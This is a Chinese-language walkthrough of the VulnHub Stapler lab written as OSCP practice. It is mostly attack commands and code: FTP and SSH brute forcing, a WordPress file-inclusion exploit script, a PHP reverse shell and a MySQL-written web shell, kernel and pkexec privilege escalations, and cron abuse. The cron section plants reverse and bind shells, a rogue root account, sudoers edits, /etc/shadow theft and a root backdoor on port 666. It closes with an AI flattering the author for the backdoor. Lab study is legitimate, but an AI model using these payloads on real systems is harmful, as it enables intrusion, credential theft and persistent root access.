Featured image of post OSCP官方靶场-Stapler-WP

OSCP官方靶场-Stapler-WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具

官网打开靶场或链接地址下载虚拟镜像:

https://www.vulnhub.com/entry/stapler-1,150/

信息收集

1# Kali攻击机地址
2192.168.45.165
3# 靶机地址
4192.168.198.148

扫描端口和目录

 1# 设置MTU
 2sudo ip link set dev tun0 mtu 1250
 3ip link show tun0
 4# 扫描端口
 5ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.198.148 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
 6echo $ports
 7# 扫描服务
 8sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
 9sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
10# 扫描目录
11dirsearch -u  http://192.168.223.148
12gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 -x php,html,txt -b 403,500,404 -z
13whatweb http://192.168.198.148/

扫描结果如下:

  1┌──(kali㉿kali)-[~/Desktop]
  2└─$ echo $ports
  321,22,80,139,3306
  4
  5┌──(kali㉿kali)-[~/Desktop]
  6└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.198.148
  7Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:17 -0400
  8Nmap scan report for 192.168.198.148
  9Host is up (0.67s latency).
 10
 11PORT     STATE SERVICE     VERSION
 1221/tcp   open  ftp         vsftpd 2.0.8 or later
 13| ftp-anon: Anonymous FTP login allowed (FTP code 230)
 14|_Can't get directory listing: PASV failed: 550 Permission denied.'
 15| ftp-syst:
 16|   STAT:
 17| FTP server status:
 18|      Connected to 192.168.45.165
 19|      Logged in as ftp
 20|      TYPE: ASCII
 21|      No session bandwidth limit
 22|      Session timeout in seconds is 300
 23|      Control connection is plain text
 24|      Data connections will be plain text
 25|      At session startup, client count was 4
 26|      vsFTPd 3.0.3 - secure, fast, stable
 27|_End of status
 2822/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
 29| ssh-hostkey:
 30|   2048 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 (RSA)
 31|   256 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e (ECDSA)
 32|_  256 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 (ED25519)
 3380/tcp   open  http        PHP cli server 5.5 or later
 34|_http-title: 404 Not Found
 35139/tcp  open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
 363306/tcp open  mysql       MySQL 5.7.12-0ubuntu1
 37| mysql-info:
 38|   Protocol: 10
 39|   Version: 5.7.12-0ubuntu1
 40|   Thread ID: 8
 41|   Capabilities flags: 63487
 42|   Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
 43|   Status: Autocommit
 44|   Salt: w3/ \x07\x1D7\x03o?)\x1C\x01(\x05`\x1CJ*\x04
 45|_  Auth Plugin Name: mysql_native_password
 46Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
 47Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.14 (97%), Linux 3.13 - 4.4 (93%), Linux 3.8 - 3.16 (93%), Linux 2.6.32 - 3.13 (93%), Linux 3.4 - 3.10 (93%), Linux 4.15 (93%), Linux 5.0 - 5.14 (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 4.15 - 5.19 (93%)
 48No exact OS matches for host (test conditions non-ideal).
 49Network Distance: 4 hops
 50Service Info: Host: RED; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 51
 52Host script results:
 53|_nbstat: NetBIOS name: RED, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
 54| smb-security-mode:
 55|   account_used: guest
 56|   authentication_level: user
 57|   challenge_response: supported
 58|_  message_signing: disabled (dangerous, but default)
 59| smb-os-discovery:
 60|   OS: Windows 6.1 (Samba 4.3.9-Ubuntu)
 61|   Computer name: red
 62|   NetBIOS computer name: RED\x00
 63|   Domain name: \x00
 64|   FQDN: red
 65|_  System time: 2026-03-14T03:18:42+00:00
 66| smb2-security-mode:
 67|   3.1.1:
 68|_    Message signing enabled but not required
 69|_clock-skew: mean: 0s, deviation: 2s, median: -1s
 70| smb2-time:
 71|   date: 2026-03-14T03:18:39
 72|_  start_date: N/A
 73
 74OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 75Nmap done: 1 IP address (1 host up) scanned in 150.85 seconds
 76
 77┌──(kali㉿kali)-[~/Desktop]
 78└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.198.148
 79Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-13 23:20 -0400
 80Nmap scan report for 192.168.198.148
 81Host is up (0.47s latency).
 82
 83PORT     STATE SERVICE
 8421/tcp   open  ftp
 8522/tcp   open  ssh
 8680/tcp   open  http
 87| http-slowloris-check:
 88|   VULNERABLE:
 89|   Slowloris DOS attack
 90|     State: LIKELY VULNERABLE
 91|     IDs:  CVE:CVE-2007-6750
 92|       Slowloris tries to keep many connections to the target web server open and hold
 93|       them open as long as possible.  It accomplishes this by opening connections to
 94|       the target web server and sending a partial request. By doing so, it starves
 95|       the http server's resources causing Denial Of Service.'
 96|
 97|     Disclosure date: 2009-09-17
 98|     References:
 99|       http://ha.ckers.org/slowloris/
100|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
101|_http-csrf: Couldn't find any CSRF vulnerabilities.'
102|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.'
103|_http-dombased-xss: Couldn't find any DOM based XSS.'
104|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
105139/tcp  open  netbios-ssn
1063306/tcp open  mysql
107
108Host script results:
109|_smb-vuln-ms10-054: false
110| smb-vuln-cve2009-3103:
111|   VULNERABLE:
112|   SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
113|     State: VULNERABLE
114|     IDs:  CVE:CVE-2009-3103
115|           Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
116|           Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
117|           denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
118|           PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
119|           aka "SMBv2 Negotiation Vulnerability."
120|
121|     Disclosure date: 2009-09-08
122|     References:
123|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
124|_      http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
125| smb-vuln-regsvc-dos:
126|   VULNERABLE:
127|   Service regsvc in Microsoft Windows systems vulnerable to denial of service
128|     State: VULNERABLE
129|       The service regsvc in Microsoft Windows 2000 systems is vulnerable to denial of service caused by a null deference
130|       pointer. This script will crash the service if it is vulnerable. This vulnerability was discovered by Ron Bowes
131|       while working on smb-enum-sessions.
132|_
133|_smb-vuln-ms10-061: false
134
135Nmap done: 1 IP address (1 host up) scanned in 524.65 seconds
136
137Target: http://172.168.169.129/
138
139[02:06:11] Starting:
140[02:06:11] 200 -    4KB - /.bashrc
141[02:06:11] 200 -  220B  - /.bash_logout
142[02:06:12] 200 -  675B  - /.profile
143
144Task Completed

80端口网页打开什么都没有

FTP 匿名登陆

Nmap扫描提示有FTP匿名登录,登录后有个note文件,下载后查看就是一句话。如下图

得到疑似是管理员的3个用户名,写入 user.txt 文件

John
Elly
Harry

中间因为网络延迟问题,超时了,我是免费账户,每天只有3小时免费额度,没事咱有vulnhub!vulnhub万岁!

https://ciphersaw.me/2021/07/10/exploration-of-file-format-exception-while-vmware-loads-ovf/

参考先知社区的文章,解决导入VMWare报错问题。现在靶机地址变为172.168.169.129

继续爆破FTP,三个用户名呢,总有一个大冤种。

FTP登录用户名爆破

推荐工具:username-anarchy

专门针对人名生成各种变体,是渗透测试中最常用的用户名字典生成器。

# 安装 
git clone https://github.com/urbanadventurer/username-anarchy.git
# 挂代理
git clone https://gh-proxy.org/https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy John

针对这三个用户名

 1# 逐个生成并合并
 2./username-anarchy John > usernames.txt
 3./username-anarchy Elly >> usernames.txt
 4./username-anarchy Harry >> usernames.txt
 5# 批量的
 6./username-anarchy -i ../user.txt >> ../usernames.txt
 7# 去重
 8sort -u usernames.txt -o usernames.txt
 9
10wc -l usernames.txt

或者如果名字有姓(比如从网站上找到全名),效果更好:

1./username-anarchy "John Smith" >> usernames.txt

生成的用户名之后使用hydra爆破

hydra -L usernames.txt -e nsr ftp://172.168.169.129

这里的nsr 参数表述尝试空密码,同用户名密码,反用户名密码。

得到正确的可登录的用户名和密码

FTP文件夹下有/etc/passwd 泄露

SSH 登录爆破

passwd文件里面有很多用户,筛选一下可以登录的用户名,然后使用hydra爆破

1cat passwd | grep -v -E "nologin|false" | cut -d ":" -f 1 > ssh_user_name
2hydra -L ssh_user_name -e nsr ssh://172.168.169.129

冤种2号!打到这里非常快乐。

History历史记录泄露

登上之后直接开始一顿快乐的搜索

1ls /home/*/ -al
2cat /home/*/.* |grep pass
3cat /home/*/.bash_history | grep -v exit

又发现两个幸运观众的密码泄露,所以真的不要把密码明文打在命令行里

1sshpass -p thisimypassword ssh JKanode@localhost
2sshpass -p JZQuyIN5 peter@localhost

登录JKanode 没什么用,炮灰一个

登录Peter账户直接提权

这个靶机还有多种方式,这是速通的一种方法,这么快速可能会让你觉得这个靶机不过如此。但是官网也说了,至少两种方式获得shell和至少3中方式提权root。所以,盘他,填满它所有的洞!

其他的方法

主要参考

https://xz.aliyun.com/news/12473 https://www.freebuf.com/vuls/343731.html https://blog.csdn.net/2403_88668158/article/details/146487087

进shell的方法

12380网页

这里http不管怎么看都是没用的,要https

扫描网站目录发现可用信息

phpMyadmin 数据库管理后台

phpmyadmin界面对于已经[[#SSH 登录爆破]]拿到了登录密码的人来说用户不大,如果你本地没有Dbeaver之类的软件,也懒得用mysql命令的话可以用用。

blogblog博客系统

终于到主菜了,博客系统。打开页面就看到登录窗口和Wordpress的提示,上工具!

先枚举用户:

1wpscan --url https://172.168.169.131:12380/blogblog/ -e u --disable-tls-checks 

这里可以尝试一开始的[[#FTP登录用户名爆破]]登录进去的elly,但是很明显进去之后这个页面显示她不是管理员,只是普通用户。这里的密码可以用之前mysql爆破[[#获得blog博客系统的用户密码]]出来的,假如没有走通mysql的路子的话也不怕,还有洞。

扫描网站使用的插件:

1wpscan --url https://172.168.169.131:12380/blogblog/ -e ap --disable-tls-checks --plugins-detection aggressive

发现注册地址,上传目录。假如之后要穿shell应该能传到这个路径下面。

插件的扫描结果如下,来一个一个盘

 1[i] Plugin(s) Identified:
 2
 3[+] advanced-video-embed-embed-videos-or-playlists
 4 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/
 5 | Latest Version: 1.0 (up to date)
 6 | Last Updated: 2015-10-14T13:52:00.000Z
 7 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
 8 | [!] Directory listing is enabled
 9 |
10 | Found By: Known Locations (Aggressive Detection)
11 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/, status: 200
12 |
13 | Version: 1.0 (80% confidence)
14 | Found By: Readme - Stable Tag (Aggressive Detection)
15 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/advanced-video-embed-embed-videos-or-playlists/readme.txt
16
17[+] akismet
18 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/
19 | Latest Version: 5.6
20 | Last Updated: 2025-11-12T16:31:00.000Z
21 |
22 | Found By: Known Locations (Aggressive Detection)
23 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/akismet/, status: 403
24 |
25 | The version could not be determined.
26
27[+] shortcode-ui
28 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/
29 | Last Updated: 2019-01-16T22:56:00.000Z
30 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
31 | [!] The version is out of date, the latest version is 0.7.4
32 | [!] Directory listing is enabled
33 |
34 | Found By: Known Locations (Aggressive Detection)
35 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/, status: 200
36 |
37 | Version: 0.6.2 (100% confidence)
38 | Found By: Readme - Stable Tag (Aggressive Detection)
39 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
40 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
41 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/shortcode-ui/readme.txt
42
43[+] two-factor
44 | Location: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/
45 | Latest Version: 0.15.0
46 | Last Updated: 2026-02-17T13:21:00.000Z
47 | Readme: https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/readme.txt
48 | [!] Directory listing is enabled
49 |
50 | Found By: Known Locations (Aggressive Detection)
51 |  - https://172.168.169.131:12380/blogblog/wp-content/plugins/two-factor/, status: 200
52 |
53 | The version could not be determined.
advanced-video插件

搜锁之后发现一个文件包含的漏洞

下载后添加对SSL的支持,和改成python3的语法

 1#!/usr/bin/env python3
 2import random
 3import urllib.request
 4import urllib.error
 5import re
 6import ssl
 7
 8# 忽略 SSL 证书校验
 9ssl._create_default_https_context = ssl._create_unverified_context
10
11url = "https://172.168.169.131:12380/blogblog"  # 改成你的靶机 IP
12
13randomID = int(random.random() * 100000000000000000)
14
15objHtml = urllib.request.urlopen(
16    url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + 
17    str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php'
18)
19content = objHtml.readlines()
20
21for line in content:
22    line = line.decode('utf-8')
23    numbers = re.findall(r'\d+', line)
24    id = numbers[-1]
25    id = int(id) // 10  # Python3 整除用 //
26
27objHtml = urllib.request.urlopen(url + '/?p=' + str(id))
28content = objHtml.readlines()
29
30for line in content:
31    line = line.decode('utf-8')
32    if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
33        urls = re.findall('"(https?://.*?)"', line)
34        print(urllib.request.urlopen(urls[0]).read().decode('utf-8'))

1wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate

这配置文件不就搞到手了,嘿嘿嘿,数据库密码到手,形成闭环。

同理还可以把 /etc.passwd 文件也弄下来,这就回到了[[#SSH 登录爆破]],又一个闭环。

John管理员登录WP后台上传反弹shell

管理员打开media媒体界面,发现就有之前插件生成的文件,

复制一个反弹php过来,修改

1 cp /usr/share/webshells/php/php-reverse-shell.php .
2 sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '172.168.169.128';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php

生成shell有很多方法,这里只用了反弹的类型,其他WP提到了webacoo,weevely,MSF,冰蝎生成等。可以看[[#WebShell 的常用姿势]]

点击上传,提示文件类型不支持

抓包,改00截断,成功上传,但是没有成功运行,还是当作png解析的。问题不大,还有插件上传这个点。

也是上传php文件,点击 install 这个页面不用管,直接 proceed 然后就能在上传目录开到我们的php了 成功弹回,然后用[[#登录Peter账户直接提权]]的方式直接提权即可。

数据库mysql

[[#SSH 登录爆破]] 后进入SHayslett账户浏览/var/www/https/blogblog文件夹就能发现数据库密码

可惜不能直接ssh切换,也就是说root的密码没有复用,只能链接数据库用

使用用户名root和密码plbkac进行数据库登录

mysql -h 172.168.169.129 -uroot -pplbkac  --skip-ssl
获得blog博客系统的用户密码

将表中的user_login与user_pass提取出来并导入文件中,使用john进行爆破

show databases;
use wordpress;
show tables;
select * from wp_users;
select concat(user_login,':',user_pass) from wp_users;

直接在命令行用 -e 参数执行,输出自动是纯文本,然后直接丢john爆破,此john非彼john。

1mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se "select concat(user_login,':',user_pass) from wordpress.wp_users;" > hashes.txt
2john --format=phpass --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

再查一下其他配置,发现明显写了john就是管理员

1SELECT option_name, option_value FROM wp_options 
2WHERE option_name IN ('siteurl','blogname','blogdescription','admin_email','blogpublic');

1SELECT user_login, meta_value FROM wp_users JOIN wp_usermeta ON wp_users.ID = wp_usermeta.user_id WHERE meta_key = 'wp_capabilities';

发现 john peter Vicki 三个人都是管理员。Vicki还没有研究过,遗憾的是好像也没有爆出来他的密码。不过不重要了。

mysql上传一句话木马

由[[#blogblog博客系统]] 的情报得知上传目录,写个一句话木马进去

1# MySQL 里写入
2SELECT "<?php system($_GET['cmd']); ?>" into outfile "/var/www/https/blogblog/wp-content/uploads/exec.php";
3
4# 验证是否写入成功
5curl -k "https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id"

phpmyadmin页面操作也是一样的

139 端口上的samba服务

使用enum4linux探测smb服务

enum4linux -a 172.168.169.129 | tee smb_result

发现有效共享服务名tmp和kathy

发现用户,这一步的用户其实其可以用到 [[#SSH 登录爆破]] 里面用到登录爆破

提权root的方法

上传小豌豆

内核漏洞提权 CVE-2016-4557

查看内核版本信息

使用searchsploit搜索一些对应版本的漏洞

searchsploit ubuntu 16.04 privilege escalation
privilege escalation表示权限提升

上一个是windows机器的不符合,上上两条是x86x64机器的不符合,只有linux/local/39772.txt符合,尝试使用。

1searchsploit -m linux/local/39772.txt
2cat 39772.txt

在靶机上执行,这里是在本地虚拟机测试,kali上可能下载不下来,可以在本机下载后开http传输

1wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
2unzip 39772.zip
3cd 39772
4tar -xvf exploit.tar
5cd ebpf_mapfd_doubleput_exploit
6chmod +x compile.sh
7./compile.sh

这个报错可以不管,文件夹下编译出来可执行文件就行。执行等待一分钟就能提权了。

这个漏洞是 CVE-2016-4557,原理简述:Linux 内核 eBPF 子系统在处理 BPF_MAP_CREATE 时存在文件描述符的 double-put(引用计数错误),可导致 UAF,最终通过 writev + FUSE 竞争条件将任意文件改为 SUID root,再执行 suidhelper 获得 root shell。影响内核版本 ≤ 4.5。

内核漏洞提权 CVE-2021-4034

发现步骤

信息收集阶段通过以下方式发现:

1# 1. 查看内核和系统版本
2uname -a
3cat /etc/os-release
4# 输出:Ubuntu 16.04,内核较旧
5
6# 2. 查看 polkit 版本(关键)
7dpkg -l policykit-1
8pkexec --version
9# 输出版本 <= 0.105 即存在漏洞

漏洞影响范围:polkit < 0.120(2009年至2022年1月所有版本),Ubuntu 16.04 的 polkit 版本正好在范围内。

利用步骤

方式一:直接用 GitHub 上的一键利用脚本
1# 靶机上下载 PoC(或从 Kali 传过去)
2
3wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.zip
4unzip main.zip
5cd CVE-2021-4034-main
6make
7./cve-2021-4034

方式二:Kali 自带 MSF 模块(需要已有 meterpreter session)

OSCP考试的时候慎用MSF,先在靶机上建立 meterpreter session:

 1# Kali 生成 payload
 2msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.168.169.130 LPORT=4444 -f elf > shell.elf
 3
 4# Kali 开监听
 5msfconsole
 6use multi/handler
 7set payload linux/x86/meterpreter/reverse_tcp
 8set LHOST 172.168.169.130
 9set LPORT 4444
10run
11
12# 靶机下载执行(用已有的 SHayslett shell)
13wget http://172.168.169.128:8000/shell.elf
14chmod +x shell.elf
15./shell.elf

此时 Kali 收到 session,记下 session 编号比如 1,然后:

1use exploit/linux/local/cve_2021_4034
2set SESSION 1
3set LHOST 172.168.169.130
4run
5# 弹出 root meterpreter

不过这个方法网络问题弹不回来。

原理简述

pkexec 是 polkit 的命令行工具,有 SUID 位。漏洞在于它处理 argv[] 时存在越界写,可以将环境变量当作参数写入,通过构造恶意 GCONV_PATH 环境变量加载任意共享库,触发后直接得到 root。整个利用不需要任何现有权限,普通用户直接执行即可提权,是 2022 年最高危的本地提权漏洞之一。

linpeas的结果丢给AI分析,还有这些提权的点,但是试了不行。

定时任务提权

得到低权限的shell后,查看cron任务计划表,获取可用信息:

ls -alh /etc/*cron*

1cat /etc/cron.d/logrotate

在/etc/cron.d中发现一个可疑任务logrotate,查看具体详情:

大冤种Simon给我们贡献了重要的权限节点

利用方式 — 写入反弹 shell:

在 Kali(172.168.169.128) 开监听:

1sudo apt -y install rlwrap
2rlwrap nc -lvnp 4444

rlwrap工具可以让nc窗口也可以上下键切换命令,比只nc好用。在目标机写入payload:

1echo 'bash -i >& /dev/tcp/172.168.169.128/4444 0>&1' > /usr/local/sbin/cron-logrotate.sh

等了超过 5 分钟,发现靶机ping不通Kali。尝试** Bind Shell**

让靶机监听,Kali 主动连过去:

1# 靶机写入(让目标监听 5555)
2echo 'nc -lvnp 5555 -e /bin/bash &' > /usr/local/sbin/cron-logrotate.sh

或者用 mkfifo 代替:

靶机写入:

1echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvnp 5555 >/tmp/f' > /usr/local/sbin/cron-logrotate.sh

等 5 分钟 cron 触发后,Kali 连接:

1rlwrap nc 172.168.169.129 5555

也不行,我直接执行测试nc也弹不回来,猜测靶机可能做了限制。不过问题不大,一个可读可写可执行的root权限文件,能玩的可就太多了。

按实用性排列:

1. 直接读 flag(最快)

1echo 'cp /root/flag.txt /tmp/flag.txt && chmod 777 /tmp/flag.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/flag.txt

2. 新建 root 权限账户

1# 先生成密码hash
2openssl passwd -1 hacker123
3# $1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0
4# 写入cron
5cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
6echo 'hacker123:$1$WaXtKCVu$xdPnXu7gxf5jlamTXCCVQ0:0:0:root:/root:/bin/bash' >> /etc/passwd
7EOF
8su hacker123
9# 输入密码 hacker123

3. 给当前用户加 sudo 免密

1echo 'echo "SHayslett ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && sudo su

4. SUID bash

1echo 'chmod u+s /bin/bash' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && bash -p

5. 复制 /etc/shadow 出来

只有root用户才可以读shadow的内容。

1echo 'cp /etc/shadow /tmp/shadow.txt && chmod 777 /tmp/shadow.txt' > /usr/local/sbin/cron-logrotate.sh && sleep 300 && cat /tmp/shadow.txt

然后尝试离线破解其他用户密码,不过看这个长度基本不可能。

$6$ 是 SHA-512crypt,hashcat 模式 1800,单卡慢但 rockyou 覆盖率高,CTF 靶机密码一般都很弱,值得试

先把 hash 单独提取出来:

1grep -v ':\*:\|:!:' /tmp/shadow.txt | awk -F: '{print $1":"$2}' > /tmp/to_crack.txt

复制到Kali 上跑:

1# hashcat
2hashcat -m 1800 to_crack.txt /usr/share/wordlists/rockyou.txt --username
3
4# 或 john(自动识别格式)
5john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt to_crack.txt
6john --show to_crack.txt

你别说,你还真别说,真跑出来了几个。

cookie           (JBare)
letmein          (MFrei)
qwerty           (Drew)
1password        (CCeaser)
password11       (SStroud)
red              (jamie)
robrob           (RNunemaker)
incorrect        (LSolum)
passphrase       (MBassin)

完整的爆破时间太长了,我就没有跑完。

不过作用不大,除了知道密码以外,如果是其他的域环境或者更复杂的环境,这些密码可以用来做喷洒。这批密码的价值在于:

当前靶机 — 意义有限,因为已有更直接的提权路径(777 cron 脚本)。

真实渗透场景下的价值:

  • 密码喷洒(Password Spraying) — 同一套密码在内网横向移动,qwertyletmeinpassword11 这种弱密码在企业环境里出现频率极高
  • 密码规律分析 — 看到 password111password,说明这个组织的密码策略可能要求数字,可以针对性构造字典
  • 凭据复用 — 同一个人在不同系统上用同一密码是常态,这些账号对应的邮箱/VPN/OA 系统都可以试
  • 域环境 — 如果是 AD 环境,拿这批用户名+密码跑 crackmapexeckerbrute 喷洒,横向移动到其他机器的概率很高:
1crackmapexec smb 172.168.169.0/24 -u users.txt -p passwords.txt --continue-on-success

这也是为什么渗透测试里 /etc/shadow 始终是高价值目标,不只是为了当前机器。

6. 写 SSH 公钥到 root 检查靶机的sshd 配置。

1cat /etc/ssh/sshd_config | grep -E "PermitRootLogin|PubkeyAuthentication|AuthorizedKeysFile"

配置没问题,允许密钥登录

Kali生成密钥对

1ssh-keygen -t rsa -f rootkey
2cat rootkey.pub

一定别搞错了密钥和公钥,这里要复制的是sha开头的这个靶机写入cron

 1cat  > rootkey.pub
 2# 复制你的公钥内容,回车后按ctrl D结束保存
 3
 4cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
 5> mkdir -p /root/.ssh
 6> cat /home/JKanode/rootkey.pub > /root/.ssh/authorized_keys
 7> chmod 700 /root/.ssh
 8> chmod 600 /root/.ssh/authorized_keys
 9> chown -R root:root /root/.ssh
10> EOF

等5分钟后Kali直接SSH登录root

1ssh -i rootkey root@172.168.169.130

发现还是要密码,觉得配置可能还是有问题

1cat /etc/ssh/sshd_config | grep -E "Root|root"

发现root被拒绝登录了,root 被明确拒绝 SSH 登录,公钥再正确也没用,服务器直接拒绝,改他!用 cron 把 root 从 DenyUsers 里删掉:

1cat > /usr/local/sbin/cron-logrotate.sh << 'EOF'
2sed -i 's/DenyUsers.*/DenyUsers ftp elly/' /etc/ssh/sshd_config
3service ssh restart
4EOF

等5分钟后再连:

1ssh -i ~/Desktop/rootkey -o PubkeyAcceptedAlgorithms=+ssh-rsa root@172.168.169.130

方法6最优雅,拿到的是真正的交互式 root SSH 会话,持久化最好。推荐先试 flag,再试 SSH 公钥持久化。

可以看到root用户还搞了个oh-my-zsh 给终端整的很骚包。

与之前 CVE-2016-4557 的区别: 上一个是内核漏洞提权,这个是纯粹的配置错误(misconfiguration)提权,更常见也更稳定,是 OSCP 类靶机的经典考点。

root 运行的两个神秘脚本

Linpeas发现的两个神秘脚本

1cat /root/python.sh 
2cat /usr/local/src/nc.sh

8888端口内部访问了似乎没用

666端口兔子洞变真洞

nc.sh — 谜底揭晓

1while true; do
2  nc -nlvp 666 < /usr/local/src/nc.zip
3done

666 端口一直在循环发送 nc.zip,就是之前那个 message2.jpg 的来源,完全是作者放的彩蛋,确认是兔子洞。不过我们知道有个定时任务可以用

直接改 nc.sh,让 666 端口连上去就是 root shell:

1cat > /usr/local/src/nc.sh << 'EOF'
2#!/bin/bash
3while true; do
4  nc -nlvp 666 -e /bin/bash &>/dev/null && sleep 2s;
5done
6EOF

但这台机器的 nc 是 openbsd 版,没有 -e,用 mkfifo,然后配合定时任务的修改方法:

1echo 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -nlvp 666 > /tmp/f' > /usr/local/src/nc.sh

然后杀掉旧进程让新脚本生效,重启脚本:

1pkill -f "nc -nlvp 666"
2pkill -f nc.sh
3bash /usr/local/src/nc.sh &

嵌套包裹

1echo 'echo "rm -f /tmp/f; mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc -nlvp 666 > /tmp/f" > /usr/local/src/nc.sh; pkill -f "nc -nlvp 666"; bash /usr/local/src/nc.sh &' > /usr/local/sbin/cron-logrotate.sh

等 5 分钟后 Kali 连接:

1rlwrap nc 172.168.169.131 666
2# 直接是 root shell
3id

试了几次不成功,查看靶机上的nc版本

注意到 -d 参数是 Detach from stdin,可以用这个特性配合 Python

 1fuser -k 666/tcp 2>/dev/null
 2
 3python -c "
 4import socket,os,pty
 5s=socket.socket()
 6s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
 7s.bind(('',666))
 8s.listen(1)
 9conn,addr=s.accept()
10os.dup2(conn.fileno(),0)
11os.dup2(conn.fileno(),1)
12os.dup2(conn.fileno(),2)
13pty.spawn('/bin/bash')
14" </dev/null >/dev/null 2>&1 &

pty.spawn 代替 subprocess.call,同时把 stdout/stderr 也重定向到 /dev/null,进程就不会因为 tty 挂起了,嵌套进改定时任务的脚本里面

1# SHayslett账户的ssh或者网页版本反弹shell
2echo 'pkill -f "nc -nlvp 666"; pkill -f "nc.*666"; pkill -f "python.*666"; fuser -k 666/tcp 2>/dev/null; sleep 2; python -c "import socket,os,pty;s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind((\"\",666));s.listen(1);conn,addr=s.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);pty.spawn(\"/bin/bash\")" </dev/null >/dev/null 2>&1 &' > /usr/local/sbin/cron-logrotate.sh

等 5 分钟后:

1rlwrap nc 172.168.169.131 666

这样 666 端口就变成了一个持久化的 root 后门,把兔子洞变成真的洞。

做到这里我忍不住问AI

Question

我牛不牛,把666这个洞也利用起来了,夸我

牛!确实很牛!

这个 666 端口从最开始只是个发 zip 文件的兔子洞,愣是被你挖出了利用路径:

发现 666 端口 → 分析 nc.sh 脚本逻辑
→ 发现 cron-logrotate.sh 777 权限
